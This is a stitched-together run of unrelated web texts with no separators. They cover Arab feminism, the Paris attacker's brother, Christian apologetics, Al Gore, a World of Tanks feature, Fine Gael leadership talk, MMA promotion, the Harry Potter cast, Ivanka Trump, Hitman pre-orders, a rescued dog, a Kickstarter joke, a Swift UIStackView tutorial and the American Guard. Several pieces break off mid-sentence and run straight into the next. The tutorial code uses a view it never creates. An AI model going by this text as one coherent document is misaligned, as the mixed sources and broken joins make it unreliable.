These women, who write in these various Facebook groups, also have partners — the new Arab men. Most of the working women are in formal marriage relationships, and along with them their partners are also undergoing a slow, significant, and sometimes painful revolution. The exclusive status of the male who controls the whole family and manages it by virtue of his maleness (known in feminist language as the patriarchy) is being repositioned in light of new social and economic circumstances.
The woman works, studies, is involved in and shares economic as well as familial responsibility with her partner. The man is no longer in the same place he was 50 years ago.
Most of the women I spoke to were grateful for a wonderful, supportive and encouraging partner, thanks to whom they accomplished what they did. We do not yet dare speak in terms such as “his responsibility,” or that he “must respect my choices,” or to openly say the words “I did it by myself,” or even speak frankly about equality. But I do not want to ruin the rosy picture these women chose to present, and besides, there is nothing wrong with appreciating and valuing partnership in a relationship. We are still very far from gender equality, and the road to the ideal feminist revolution is still long.
The Arab man is presently at a point along the journey where he is watching the slow and laborious emergence of the women in his environment, in a process of rebirth or reorganization. I am sure that the time will come when there is no choice but for our partners, fathers, brothers and sons to be part of the change and the revolution which creates a modern Arab masculinity — a new kind of manliness. To reach that point, men need to start cooperating and adjusting right now. And of course there will always be the men who cannot cope with the change and try to regain control over women, and find another excuse for violence, repression and the exercise of various mechanisms of control.
Thus, ladies and gentlemen, I hereby remove from myself another thick layer of Western feminist consciousness that has accumulated on my body, and replace it with a soft and delicate and imperfect but authentic layer of Arab feminism. From now on, I will not think of the process of liberation of the Arab woman as a process that is necessarily unique, as if the only legitimate path were prescribed by Israeli society or Western feminism. It is an Arab liberation process and is valid in its own right, without a comparison of the speed of change relative to other societies. It is simply the “sociological Waze” that needs to be familiar with the map in Arabic and to update itself.
This article was first published in Hebrew on Local Call. Read it here.The brother of a suspected gunman of the Paris terror attacks, who presented himself as squeaky clean in the aftermath of the massacre, has a criminal record for robbing the personal effects of dead people, it has emerged.
Mohamed Abdeslam, the brother of Salah Abdeslam who is still on the run, was hauled in by police in Brussels shortly after the Friday 13 attacks that that killed 130 people but was quickly released without charge.
In a series of media interviews he said he was in no way connected to the attacks and even called on his brother, who returned to Brussels the day after the killings, to hand himself in to police.
"I have worked for the local council for 10 years and I've never had a problem with anyone," he told reporters in the Molenbeek area of Brussels, where many of the attackers had lived.
Mohamed also claimed he had no idea that his other brother Brahim was even in Paris when he blew himself up in a café in one of the coordinated assaults on bars, the Bataclan rock venue and the national stadium.
But Belgian media are now reporting that he was convicted of a particularly sordid crime in 2005.
In his first job as an ambulance worker, when he was 18, he became part of a gang of fellow workers who stole the personal effects of dead people whose bodies they were sent out to bring to city morgues.
The gang stole the belongings of up to 30 people before police finally caught up with them, La Libre Belgique news website reported.
"I am a thief, a scumbag, a vulture," he reportedly told the judge who gave him a suspended sentence of two years. Mohamed Salah pleaded that he had been roped into the grisly business that had begun before he joined the ambulance crew.
This weekend it was reported that Salah Abdeslam bought electric detonators from a fireworks company which may have been used by the suicide bombers involved in the Paris massacre.Let’s briefly address helpful pointers in apologetics. By this I don’t mean “helpful” in terms of arguments. I’m focusing on strategy, on making a persuasive case for Christ. So often apologists focus on getting our facts straight when in reality the issue is something else, and many times it’s something much more basic.
So here are my 5 things to look out for when commending Christianity to non-Christians.
Roadblock 1: Most non-Christians do not know the story of Scripture.
Before we can “defend” our position on Christianity, we need to make sure the person to whom we speak understands what we’re talking about. The sad thing is most America evangelicals don’t understand the Bible themselves (and various studies have demonstrated this- see here, and here). Now, this is not to say they don’t “get” Jesus. They do, but often not well enough to deal with tough objections to the faith. After all, Jesus isn’t the only person teaching us in Scripture. There’s Paul, John, Peter, James, Moses, David, Solomon, Isaiah, and on and on…
So, be prepared to do some explaining. The non-Christian may be hostile to something that’s not taught in Scripture. Help them out. This should lead to a strong sense of responsibility to the person you’re speaking to (God has, after all, placed them along your path). This also means we must cultivate the spiritual fruit of patience, since we there was a time when we didn’t “get” it either.
Roadblock 2: Unbelievers [normally] do not distinguish between Creation and the Fall.
As many thinkers have already noticed, the biblical plotline follows the themes of Creation-Fall-Redemption-Consummation. Some of the things we experience this side of the fall where not a part of the original created order God declared “good.” The obvious example of this is moral rebellion (sin) against God (i.e. sin). Al Wolters writes of this distinction in terms of structure and direction.
What’s worth noting is often what is considered natural by the non-Christian (ex: sexual lust), we may (and probably do) attribute to the Fall. We should bring to the attention of our non-Christian friends that not everything we find today is the way it ought to be. The Bible distinguishes between two senses in which something could be considered “natural.”
First, something may be “natural” if it was part of God’s original creation blueprint. In this sense, marriage, heterosexual monogamy, and loving obedience and submission to God and His word are all natural. The second usage of the term “natural” has the opposite meaning. According to this usage “natural” is contrasted with spiritual (or [Holy] Spirit-lead, cf. 1 Cor. 2:14, James 3:15). So, sexual deviation is perfectly “natural” in this sense, it “gels” well with our fallen condition. In some Bible versions, the term natural is more pointedly translated “carnal.” I think that gets my point across.
With these distinctions in mind we should be aware that unbelievers often blur or do not properly distinguish between Creation and Fall. So, when if they say, “what’s wrong with ____? After all, it’s natural.” We need to patiently point out that ____ (given it’s a sinful goal, motive, and/or standard) is not natural in the first sense (which is what Christian ethics is geared toward developing), but instead is natural in the second.
Roadblock 3: Arguing against Christianity based on what seems to be fitting for God, not on what Scripture actually says.
I’ve read a respectable amount of non-Christians literature against Christianity, both scholarly and at the popular level. A common problem I’ve noticed is many anti-theistic arguments fail to take into consideration the actual accounts of God’s nature and attributes in the Bible (see point 1), i.e. they argue against a no-frills type of God. Examples like this abound, “Can God created a rock so large he can’t lift?” From a biblical perspective, that’s a nonsense question that shouldn’t be tolerated as a serious problem for the Christian doctrine of God. It’s like asking if God can make a squared circle. God doesn’t “do” logical absurdities.
Here’s another example that ties together points 1 and 2: In most versions of the supposed problem of evil, unbelievers tend to
Ignore —or are ignorant of— the biblical narrative and God’s purposes in using evil for his glory and our good, and
Base their arguments on various assumptions on what a good God would never allow (babies to go hungry, etc.)
The point here? We need to fight the temptation to defend a conception of God not taught in Scripture. In my earlier series titled Prologue to Apologetics, I made the point that we defend no other God than the Father of the Lord Jesus Christ. In fact, we should join hands to topple rival conceptions of God. So, if the “god” that our unbelieving friend is arguing against isn’t what we recognize as the biblical God (and don’t let their usage of the word “God” fool you), kindly respond that you’re not commending that god to them, and get back on track. Of course, this may make things harder to speak about (after all, Yahweh has allowed children to suffer, etc.), but our goal should be to winsomely recommend the truth, not merely what the non-Christian will accept.
Roadblock 4: Not distinguishing between the biblical message and the history of the Church.
This is an extremely common occurrence and a very important point. I can’t recall how many times when speaking to non-Christians the first objection I heard was, “But what about the crusades?” or some related question. We need to draw a distinction here. When we’re commending Jesus to someone, we’re not commending all the mistakes and blunders of the church as well. Please don’t confuse Christians with Jesus himself; he’s much |
"Except his name would be Al Gore," Stahl said.
"Well, I'm not applying for the job of broker," Gore replied, laughing.
He's not ruling it out, but he says he already has a job, as he puts it, "P.R." agent for the planet.
"You have said, and I'm going to quote you, 'If I do my job right, all the candidates will be talking about the climate crisis,'" Stahl said. "I can't think of a time I've heard the candidates talk about it."
"Right. Well, I'm not finished yet," Gore said.
The Gore campaign on global warming went into high gear when his documentary "An Inconvenient Truth" was an unexpected hit. What he's been doing is holding seminars, where he trains other people to give his famous slideshow about the effects of greenhouse gases.
So far in all, he's coached about 2,000 people, teaching one little workshop at a time.
His slideshows are tailored to his audiences. For example, when he talks to evangelical Christians, he includes passages from the Bible.
Gore is trying to redefine this as a moral and spiritual issue. "We all share the exact same interest in doing the right thing on this. Who are we as human beings? Are we destined to destroy this place that we call home, planet earth? I can't believe that that's our destiny. It is not our destiny. But we have to awaken to the moral duty that we have to do the right thing and get out of this silly political game-playing about it. This is about survival," he said.Tankers!
World of Tanks continues to get new content within the game itself, but we always have new things to share outside of it, too! In fact, we're introducing a new way to keep track of player statistics with our new Compare Players feature here on the portal. With it, you can compare stats between yourself and your friends, between the player who impressed you in that last epic battle, or maybe you want a quick glance at the skills of your Clanmates -- whatever the purpose, the comparison tool can prove invaluable.
It's easy enough to use this tool: just search for players as usual -- via the Players page under the Community tab -- view their full profile page, and click the checkbox on the sidebar to add them to the comparison list. When you've queued up all the players you want, just click the big "Compare" button to be taken to the results page (shown above).
You can add up to 10 players to compare at one time, and the resulting comparison page will highlight the player with the highest stat among all of them. The comparison page lists over 30 different parameters, from battle counts, win/loss ratios, vehicle types, and so on.
Give it a try and let us know what you think!Tánaiste Frances Fitzgerald is urging Minister for Health Simon Harris to enter the Fine Gael leadership race.
Minister for Foreign Affairs Charlie Flanagan posted a message in the internal Fine Gael Whatsapp group on Sunday morning saying Mr Harris wants to “get out of health”.
“He hasn’t announced yet but Frances is encouraging him,” wrote Mr Flanagan. “He wants out of health.”
The Whatsapp group is for the entire Fine Gael parliamentary party.
Fine Gael sources sought to downplay but did not deny the suggestion that Mr Harris will ultimately make a bid for the leadership when Taoiseach Enda Kenny, as expected, makes clear the timeline for his departure.
The source described the message as a “silly briefing” and said “people are getting caught out” by putting messages in the wrong Whatsapp group.
“Charlie seems to be suggesting that Simon is going to announce a leadership bid,” said a source.
“That’s like saying ‘Leo [Varadkar] wants out of Social Protection’ or ‘Simon [Coveney] wants out of Housing’,” and that is why they are interested in the leadership.
Working as hard as I possibly can in my job as Health Minister. Lots to do! No intention of engaging in idle speculation — Simon Harris TD (@SimonHarrisTD) February 19, 2017
A spokesman for Mr Flanagan claimed the message was “tongue in cheek”.
Mr Harris later tweeted that he still had work to do as Minister for Health and would not engage in “speculation”.
“Working as hard as I possibly can in my job as health minister. Lots to do! No intention of engaging in idle speculation,” he said.
Mr Varadkar and Mr Coveney are the only two Fine Gael figures who have made clear their intention to contest the leadership when the contest begins. Minister for Public Expenditure Paschal Donohoe has ruled himself out.
Other senior Fine Gael figures including Mr Harris, Ms Fitzgerald and Minister for Education Richard Burton are understood to be considering entering the race.
The leaked Whatsapp message comes as Mr Coveney called for a speedy transition in the Fine Gael leadership after St Patrick’s Day.
Mr Coveney said Mr Kenny should go to Washington next month but hoped for an orderly change soon afterwards.
Mr Coveney told RTÉ’s The Week In Politics: “My opinion is that the Taoiseach should go to Washington because there has been a huge amount of work in preparation for that visit and it is in the country’s interest that he go.
“But I think after that visit you will see, I hope, an orderly and quite a quick transition after that to a new leadership within Fine Gael.”
He added: “But I trust the Taoiseach to use his own judgment on this, he has been around a long time and my sense is that he will provide that certainty quickly.”
Mr Kenny had committed last year to stepping down as Taoiseach before the next election.
But questions over his future circulated in recent days amid criticism over his handling of allegations of corruption in policing and his minority coalition Government being forced to launch a public tribunal of inquiry into the treatment of whistleblower Sergeant Maurice McCabe by senior gardai.
Mr Coveney has already warned against trying to force the Taoiseach out and said ousting him would be wrong. Mr Varadkar has said the Taoiseach will know when the time is right to step aside.
Fine Gael backbencher Alan Farrell has broken ranks to demand Mr Kenny stand down as leader, claiming his position was untenable.
There had been speculation recently that the political fallout might culminate this coming week in a vote of no confidence in Mr Kenny by his colleagues.SANTA MONICA, California -- RIZIN CEO Nobuyuki Sakakibara knows what plays in Japan.
After all, as the former leader of the legendary PRIDE promotion, Sakakibara oversaw events at his company's peak which filled stadiums and drew television ratings North American promoters can only dream about.
And while Sakakibara is looking to rebuild the sport in Japan with RIZIN after a down period, he knows a winner when he sees one, even if it's a competitor in another promotion. He's not afraid to say UFC featherweight champion Conor McGregor would be as much of a hit in Japan as he's been around the rest of the world, should have ever chose to bring his act to Saitama.
"He would do fantastic," Sakakibara said through an interpreter. "The fans would go crazy over him."
Sakakibara complimented both McGregor and his superstar counterpart, Ronda Rousey, for fueling the UFC's latest boom period.
"Their style, Conor and Ronda, given the weight class and divisions of who they are, being able to make such a huge success financially, that has changed history within the fight game," Sakakibara said.It’s been more than three years since the final film was released in the United States — but “Harry Potter” fever isn’t subsiding anytime soon.
Hot off the news that J. K. Rowling’s companion book, “Fantastic Beasts and Where to Find Them,” will be turned into a film trilogy starting in 2016, the Potter author continues to keep fans interested by releasing new chapters to the series on her Pottermore website, including a new story today about universally reviled professor Dolores Umbridge.
And just last week, London’s Georgian House Hotel revealed two rooms that have been styled to resemble Hogwarts sleeping quarters, aptly dubbed the “Wizard Chambers.”
The Harry Potter stars themselves haven’t lost any steam, either. Daniel Radcliffe wowed fans earlier this week with his impressive rap skills on “The Tonight Show with Jimmy Fallon,” while Emma Watson graces the cover of ELLE UK’s December issue, labeled “the fresh face of feminism.”
Are you starting to miss those magical days? Here’s what the rest of the popular cast is up to in the muggle world.
Daniel Radcliffe as Harry Potter
After famously appearing nude for the play “Equus” in the midst of his “Harry Potter” days, Radcliffe returned to the stage in the 2011 Broadway revival of “How To Succeed in Business Without Really Trying.” Since “Harry Potter” wrapped up, he’s appeared in the films “The Woman in Black” and “Kill Your Darlings.” In his latest, “Horns,” (in theaters Friday) Radcliffe plays a man accused of the rape and murder of his girlfriend who uses his newly discovered powers to track down the real perp.
Emma Watson as Hermione Granger
Watson has appeared in a string of films since her “Harry Potter” heyday, including “The Perks of Being a Wallflower,” “This Is the End,” “The Bling Ring” and “Noah.” She graduated from Brown University earlier in 2014 with a bachelor’s degree in English literature before being appointed as a UN Women Goodwill Ambassador — and receiving a standing ovation for her address at UN Headquarters in NYC in September. She will next appear alongside Ethan Hawke for the film “Regression” in 2015.
Rupert Grint as Ron Weasley
Grint made his Broadway debut earlier this month in Terrence McNally’s “It’s Only a Play,” starring Matthew Broderick, Nathan Lane, Stockard Channing and Megan Mullally. He also portrayed rocker Cheetah Chrome of the bands Rocket From the Tombs and the Dead Boys in 2013’s “CBGB” film. Grint has two films slated for 2015: “Enemy of Man” and “Moonwalkers.”
Michael Gambon as Albus Dumbledore
After replacing the late Richard Harris following “Harry Potter and the Chamber of Secrets,” Gambon was quickly welcomed into the fold. He performed in the play “All That Fall” in both London and off-Broadway in New York (where it was sold-out) in 2013, and appeared in the British drama “Quartet” the year prior. He will appear in the BBC adaptation of Rowling’s novel “The Casual Vacancy” later in 2014, and in 2015 he will star as Private Charles Godfrey in Oliver Parker’s “Dad’s Army.”
Ralph Fiennes as Lord Voldemort
The man who portrayed “He who shall not be named” in five of the eight Potter films had a big year in 2012, with roles in “Wrath of the Titans,” “Skyfall” and “Great Expectations.” He had the starring role as Monsieur Gustave H. in Wes Anderson’s “The Grand Budapest Hotel” earlier this year and will return to the silver screen in next year’s still untitled James Bond film.
Robbie Coltrane as Rubeus Hagrid
Since finishing his stint as fan-favorite Hagrid, Coltrane has appeared in the films “Great Expectations” and “Effie Gray,” and also lent his voice as Lord Dingwall in Disney’s 2012 animated film “Brave.”
Maggie Smith as Minerva McGonagall
Since 2010, Smith has portrayed the iconic Violet Crawley of “Downton Abbey,” which returns in January for its fifth season in the US. She was also recently made a member of the Order of the Companions of Honour by Queen Elizabeth II.
Alan Rickman as Severus Snape
Rickman reunited with Potter co-star Grint in 2013’s “CBGB,” where he portrayed club owner Hilly Kristal. Earlier that year, he portrayed former US President Ronald Reagan in “The Butler.” He’ll return to the silver screen alongside Johnny Depp, Helena Bonham Carter, Anne Hathaway and others in 2016’s “Alice in Wonderland: Through the Looking Glass” as the Caterpillar.
Emma Thompson as Sybill Trelawney
After prophesying Harry’s ability to stop Voldemort’s rise to power as the somewhat looney divination teacher, Thompson returned to her impressive film, TV and theater career. She was nominated for a Golden Globe in 2013 for her role as P.L. Travers in “Saving Mr. Banks,” and will appear in next years’ adventure comedy “A Walk in the Woods.”
Tom Felton as Draco Malfoy
The actor, who played the much-despised Malfoy in all the “Harry Potter” films, appeared in 2011’s “Rise of the Planet of the Apes.” Earlier this year, he acted alongside Elizabeth Olsen and Jessica Lange in the erotic thriller “In Secret.”
Alfred Enoch as Dean Thomas
After portraying Gryffindor student Dean Thomas for seven of the eight Potter films, Enoch landed the lead role as Wes Gibbins in the latest Shonda Rhimes production, ABC’s “How To Get Away With Murder.”
David Bradley as Argus Filch
At the time, you probably didn’t realize a squib like Filch was such an accomplished actor. Bradley has had roles in “Game of Thrones,” “Captain America: The First Avenger,” “Doctor Who” and “The World’s End.” In 2014, he won Best Supporting Actor at the British Academy Television Awards for his role as Jack Marshall in “Broadchurch,” and landed the lead role of Professor Abraham Setrakian in the summer TV hit, “The Strain,” which returns for its second season in 2015.
Gary Oldman as Sirius Black
Award-winning actor Oldman has had his hands full since completing his stint as Black, including the role as James Gordon in “The Dark Knight” and “The Dark Knight Rises” as part of Christopher Nolan’s “Batman” film series. He’s also had parts in “Paranoia,” “RoboCop“ and “Dawn of the Planet of the Apes.”
Robert Pattinson as Cedric Diggory
Pattinson’s career blew up after his appearance in the fourth film, “Harry Potter and the Goblet of Fire.” After starring roles in the “Twilight” saga, “Remember Me” and “Water for Elephants,” Pattinson will appear alongside Nicole Kidman, James Franco and Damian Lewis in Werner Herzog’s “Queen of the Desert” next year.
Jamie Waylett as Vincent Crabbe
As Malfoy’s henchman, Waylett was always getting in trouble with the powers that be at Hogwarts. Turns out, his real life wasn’t much different — Waylett was arrested in 2011 for his participation in the English riots and was sentenced to two years in prison. He was released earlier in 2014.
Kenneth Branagh as Gilderoy Lockhart
Branagh had a short-lived career as lying wizarding celebrity Lockhart. He directed and co-starred in “Jack Ryan: Shadow Recruit” earlier this year and will direct the 2015 film “Cinderella,” starring Cate Blanchett and Helena Bonham Carter.
Ian Hart as Quirinus Quirrell
You’ll remember Hart from the first Potter film as the two-faced weirdo Professor Quirrell. Since then, he’s had minor roles in popular TV programs such as “Bates Motel,” “Marvel Agents of S.H.I.E.L.D.,” “Boardwalk Empire” and “The Bridge.”Since her father took office in January, first daughter Ivanka Trump has made a habit of “dropping by” high profile meetings involving President Trump and other senior officials, as well as media appearances, a report from CNN has detailed.
The most recent example of Ivanka’s ‘drop-by’ was on Wednesday evening, during a meeting between Trump and Congressional leaders from both sides of the house, where she “entered the Oval Office to ‘say hello’ and the meeting careened off-topic.”
The report claims that Republican leaders, such as House Speaker Paul Ryan and Senate Majority Leader Mitch McConnell, were “visibly annoyed by Ivanka’s presence,” although Ryan’s spokeswoman AshLee Strong later refuted that claim.
Meanwhile, a Marc Short, White House director of legislative affairs, claimed that Ivanka’s presence was so she could discuss child tax credits.
“We asked Ivanka to briefly join the meeting for an update on the child care tax credit and how we are working to make tax reform a bipartisan issue,” he said. “It was a quick and productive conversation.”
Other examples of Ivanka’s ‘drop bys’ have been during her father’s media interviews, including one with The New York Times in July where she and her daughter Arabella Kushner “popped in to say hello” as her father answered a question relating to former FBI Director James Comey’s testimony on investigations into Russian interference.
The incident allegedly threw the meeting off course, as Trump paid attention to his granddaughter, asking her to speak in Mandarin and praising her “good, smart genes.”
She reportedly did a similar thing whilst her father was talking to Gerard Baker, editor-in-chief of The Wall Street Journal, where she said she “wanted to come by and say ‘hi'”, before the two began a friendly discussion.
Ivanka also made an appearance at her father’s speech on tax reform in North Dakota on Wednesday, with Trump confirming that she had asked to come with him.
“‘Daddy, Can I come with you?'” Trump said his daughter asked him. “I said, ‘yes you can.’ ”
It is not clear whether the Ivanka’s ‘drop-bys’ are instigated by her in order to help push her own agenda, or choreographed by Trump himself in order to help close deals with his associates or soften his image towards reporters.
However, Ivanka has previously described how she would “hide in a janitor’s closet during recess” to ring her father during important meetings, where he would describe what a great daughter she was.
“It was colleagues, it was titans of industry, it was heads of countries. He’d always tell everyone in the room how great a daughter I was and say cute things and ask me about a test I took,” she told CNN’s Gloria Borger last year.
In the White House, Ivanka serves as a close advisor to her father, alongside her husband Jared Kushner, who also serves as a senior advisor. The pair are widely regarded to be keen to pull the president to the left on key issues such as immigration and climate change. According to a report from The New York Times, the pair also supports extending the Deferred Action for Childhood Arrivals policy, something which the administration recently pledged to end.
Follow Ben Kew on Facebook, Twitter at @ben_kew, or email him at bkew@breitbart.comShare. The game is still slated for a March 11 release. The game is still slated for a March 11 release.
Square Enix, publisher of IO Interactive's upcoming game Hitman, is canceling PlayStation 4 digital pre-orders.
Sony sent out a message of the cancelation to those who have pre-ordered the game, which Videogamer's David Scammell posted to Twitter.
The notice sent out matches a similar one posted by PlayStation's support staff yesterday. "The publisher has notified us that the configuration of the product you pre-ordered has changed significantly," the post reads. "As a result we have withdrawn the current pre-order from PlayStation Store and will cancel all existing pre-orders. If you have pre-ordered the game, you will receive email confirmation when your pre-order has been cancelled. A revised pre-order for Hitman will be available on the store soon."
Exit Theatre Mode
Square Enix responded to the cancelations today on the game's official Twitter, stating "If your Hitman preorder is cancelled, don't panic. Release date is still March 11. We're adjusting a few things & will update in a few days."
Whether this will have an impact on the PS4 Hitman beta, which is available to those who pre-ordered the game, remains to be seen. The beta is set to launch on February 12.
Agent 47's upcoming game was originally set to launch on December 8, 2015 for PS4, PC, and Xbox One, but was delayed a few months to March 11.
Michael Passalacqua is a freelance writer for IGN. Chat with him about Fallout 4 and the New York Giants on Twitter @mikepass20A dog's tail is wagging in the Southeast Valley, and she has a Maricopa County deputy to thank.
Deputy Brian Bowling was responding to a call when he came across Ginger, stumbling in the middle of the road with a gunshot wound to her head.
The dog "was bleeding from its head and neck," Bowling said. "I just thought: this dog is worth saving."
Bowling, a trained paramedic who also served time in Afghanistan, knew he had to stop the bleeding.
"I got flashbacks [to his time in the service] because we saw military dogs get blown up with IEDs and I thought I had to do anything to save its life," Bowling said.
"I came toward the dog to try and get her out of traffic. She went around me and jumped into the driver's seat," he added.
Ginger was shot by a neighbor for getting loose and wandering into their yard. Special combat gauze helped stop the bleeding, but only surgery could save her.
However, Ginger's foster mother didn't have the money to pay for the operation, so the deputy stepped in again.
"It just didn't seem right for a dog that survived so much to die because the owner didn't have the money to pay for it," he said.
Bowling paid for the surgery out of his own pocket.
"If this man has this kind of empathy and love for a dog, imagine what he has for people and the rest of the world," said Hailey Miller, Ginger's foster mother. "There is such a lesson that can be learned from him."
Miller needs to find a home immediately for Ginger. If you are interested in adopting, email her at haileybmiller@yahoo.com. She is also trying to raise money to pay the deputy back through online donations. Those who would like to contribute can do so by clicking here.About
So we have this co-worker named Hugh. He's weird, entertaining, and just.. holy crap he's that guy. (Yes the Kickstarter image features his mug.) Words can't even describe him. He's just someone who has to be seen to be believed.
So what better way to have that happen than to make a website about him.
We've been talking forever about creating a website for him called Princess Hugh and we are looking to raise the money to buy the URL and the space to make the site.
What's going to be on the site?
Videos about Hugh, Hugh quotes, Hugh in a dress (apparently this is a thing he did which he mentioned wanting to do again), Hugh GIFs, and probably stories about his awkward encounters with weird people. Maybe other stuff too.
The domain URL is going to be about 10 bucks, and I'm sure I could find a host to host the site for about $70 bucks or so. The rest of the money would go to bribing Hugh to do a bunch of nonsense so we have content for the site.This Swift 2.0 Guide requires Xcode7 beta or later, get the complete project from GitHub or zipped.
iOS9 introduces UIStackViews, a new component that greatly simplifies building layouts that can be broken down to vertical or horizontal sequences of UIViews, providing an alternative to manually positioning views using auto-layout.
Acting as an invisible container, each UIStackView is able to display a single sequence of subviews (arranged views) aligned either vertically or horizontally, automatically resizing its content according to the current screen size and adapting to changes in orientation. How these subviews are actually positioned depends on a few properties that define how the subviews should be aligned, spaced and, if needed, resized.
What happens under the hood is that the UIStackView class manages auto-layout constraints for you. Think of UIStackView as an abstraction layer above auto-layout that simplifies the creation of a well defined subset of layouts. You can start building your layout from a main UIStackView and add nested UIStackView until all your UIViews are positioned correctly.
If you have done any Android development, you’ll notice that the UIStackView concept is quite similar to LinearLayouts, likely the most used android layout scheme, that in turn borrowed some ideas and improved upon the multitude of layouts that were already available in Java Swing.
The Basics
As usual, UIStackViews can be created both programmatically and in Interface Builder.
In Interface Builder you can add a new vertically or horizontally aligned UIStackView choosing the right control from the Object Library and once the view is in place, new views can be added dragging controls inside the UIStackView.
A new UIStackView can also be wrapped around one of more existing views, just select them and click the new Stack icon you’ll find in the bottom bar of Interface Builder.
Quite simple, but in this guide we’ll create a basic nested layout programmatically.
In this brief example, a vertical UIStackView, placed right below the status bar, will contain four controls: two UILabels, one horizontal UIStackView and one UIButton. Three buttons with default icons will be placed inside an inner horizontal UIStackView.
Let’s start, create a new Single View Application, verifying that the selected Deployment Target is 9.0+.
Open your only ViewController and replace the viewDidLoad method with this one:
var stackView:UIStackView! var nestedStackView=UIStackView() override func viewDidLoad() { super.viewDidLoad() stackView.translatesAutoresizingMaskIntoConstraints=false self.view.addSubview(stackView) // Main UIStackView contraints, nearly fills its parent view self.view.addConstraints(NSLayoutConstraint.constraintsWithVisualFormat("V:|-30-[stackView]-30-|", options: NSLayoutFormatOptions.AlignAllLeading,metrics: nil, views: ["stackView":stackView])) self.view.addConstraints(NSLayoutConstraint.constraintsWithVisualFormat("H:|-10-[stackView]-10-|", options: NSLayoutFormatOptions.AlignAllLeading,metrics: nil, views: ["stackView":stackView])) stackView.axis =.Vertical stackView.alignment =.Fill stackView.spacing = 25 stackView.distribution =.FillEqually var lbl = UILabel() lbl.text="Label 1" lbl.backgroundColor = UIColor.redColor() stackView.addArrangedSubview(lbl) lbl = UILabel() lbl.text="Label 2" lbl.backgroundColor = UIColor.greenColor() stackView.addArrangedSubview(lbl) nestedStackView.axis =.Horizontal nestedStackView.alignment =.Fill nestedStackView.spacing = 25 nestedStackView.distribution =.FillEqually nestedStackView.addArrangedSubview(UIButton(type:.InfoDark)) nestedStackView.addArrangedSubview(UIButton(type:.InfoLight)) nestedStackView.addArrangedSubview(UIButton(type:.ContactAdd)) stackView.addArrangedSubview(nestedStackView) let btn=UIButton(type:.System) btn.setTitle("Press Me", forState:.Normal) stackView.addArrangedSubview(btn) }
To specify a vertical orientation for the main UISTackView we are setting the axis property to.Vertical, the first three controls will be equally spaced and the UIButton will fill the rest of the available space. The three buttons with default styles contained in the inner nestedStackView will be arranged in a similar fashion. The alignment, distribution and spacing properties will be explained in the next section, ignore them for now.
Sooner or later you will need to hide and show some of the arranged views and this is quite straightforward for UIStackViews, just set the hidden property of one of your views.
To test this, let’s add an action to the UIButton and a new pressedMe method as follow:
... btn.setTitle("Press Me", forState:.Normal) btn.addTarget(self, action: "pressedMe:", forControlEvents: UIControlEvents.TouchUpInside) stackView.addArrangedSubview(btn) } func pressedMe(sender: UIButton!){ UIView.animateWithDuration(0.5) { self.nestedStackView.hidden =!self.nestedStackView.hidden } }
Clicking the button will now hide or show with a short animation the inner UIStackView and the main UIStackView will reposition the remaining views according to the properties specified in viewDidLoad.
If needed, subviews can also be completely removed from the UIStackView and all the contained arranged views will be, again, repositioned according to the current properties.
func pressedMe(sender: UIButton!){ stackView.removeArrangedSubview(nestedStackView) nestedStackView.removeFromSuperview() }
Removal is a two step process, calling the removeArrangedSubview method will remove the view from the UIStackView and reposition the remaining subviews but will not remove the view from its superview. The removed views need to be completely removed from their super views too, or they will still be shown outside the UIStackView. To do this, simply invoke removeFromSuperview on the removed view.
UIStackView: Alignment, Distribution And Spacing
Let’s take a look at the positioning properties UIStackView exposes:
Axis
Defines along which axis your views will be positioned, has two possible values: Vertical, Horizontal.
Alignment
The alignment property specifies the perpendicular (to the selected axis) alignment for your views, the value Fill will also resize all your views to fill the available space, the other values will not modify your views size. Available values are: Fill, Leading, Top, FirstBaseline, Center, Trailing, Bottom, LastBaseline.
Distribution
Distribution specifies how the subviews should be resized or distributed to fill all the available space along the axis, the possible values can be divided in two groups: fill and spacing values.
Fill values modify the size of the subviews if they don’t fill (or fit in) all the available space. The spacing between the subviews will be the one specified with the spacing property.
Fill: The subviews will be shrinked or stretched according to their content content resistance or hugging priority. If you didn’t set any, one of the subviews will be modified to fill the space available.
FillEqually: Disregarding any constraint, the subviews will be resized to the same size along the axis.
FillProportionally: The subviews will be proportionally resized according to the original size of each subview.
Spacing values fill the space along the axis altering the spacing between the subviews, the size of the subviews will be modified, according to the compression resistance, only if the subviews still don’t fit or if any auto-layout ambiguity arises.
EqualSpacing: The subviews will be equally spaced
EqualCentering: The subviews center axis will be equally spaced
Spacing
The spacing property is expressed in points and its meaning depends on the current distribution value.
If the UIStackView distribution property is either EqualSpacing or EqualCentering, the spacing property will represent the minimum spacing among subviews. Alternatively, if a FillProportionally distribution was selected, the requested spacing value will be exactly the chosen value.
UIStackViews: iOS7+ Backports
UIStackViews are supported only from iOS9 onward but a few backports, that partially implements this feature in iOS7 or later, have already been built:The American Guard, a self-described “Constitutional Nationalist” organization, published a letter to Facebook on Thursday morning expelling Invictus, explaining that his alliances with people promoting “tyranny based on ethnicity” made them look bad.
Brien James founded the American Guard in Indiana in 2016, and the group now has chapters in many states, including Florida, where Invictus said he was the Sergeant at Arms. In Thursday’s statement, the group’s leaders wrote that Invictus had become “a discredit to himself.” They continued, “He will no longer be allowed to discredit our organization, or its membership.”
The announcement appeared to come in response to a video Invictus posted to Facebook on Wednesday complaining that he’d been barred from speaking at a series of rallies in the wake of Charlottesville. He called his detractors, presumably including the self-styled civic nationalists in the American Guard, “traitors” and “cucks.”
Longtime friend and ally Ryan Ramsey also denounced Invictus in the schism. In a post to Facebook, Ramsey, the vice president of the Florida American Guard, wrote, “To witness the rapid downward spiral to irrelevance and obscurity of someone I once respected and considered a brother will hurt for a long time … I have to accept his choice to join the enemy and regard him as such.”
Ryan Ramsey (left) and Augustus Invictus (right) in happier times.
Though Brien James bills the American Guard as a “civic nationalist” (as opposed to ethno-nationalist) organization, the group has many controversies of its own over its founder’s and members’ views on race.
American Guard's Brien James.
James has a long and storied past with racist skinhead gangs, including his co-founding of the violent Vinlanders Social Club in 2003. Ramsey also has ties to skinhead groups, associations which he has said are in the past. And in the Facebook discussion beneath the American Guard announcement, one commenter identified Shaun Perez as the president of the Florida American Guard, calling him out for the swastika tattoo prominently displayed in one of his profile pictures. Perez declined a request for comment.
In the same comment thread, Brien James addressed that controversy, saying, “Yes. Several of us are former white nationalists. We are not ashamed of the choices we have made in life. We learn from them and move forward.”
It’s unclear to some observers just how far forward they have moved, however. The group’s logo, two crossed cleavers, pays homage to Bill the Butcher, a character in Martin Scorsese’s film Gangs of New York based on real-life nativist and violent gang leader William Pool.
American Guard Florida's Shaun Perez. Note the swastika tattoo on his shoulder. Photo via Facebook.
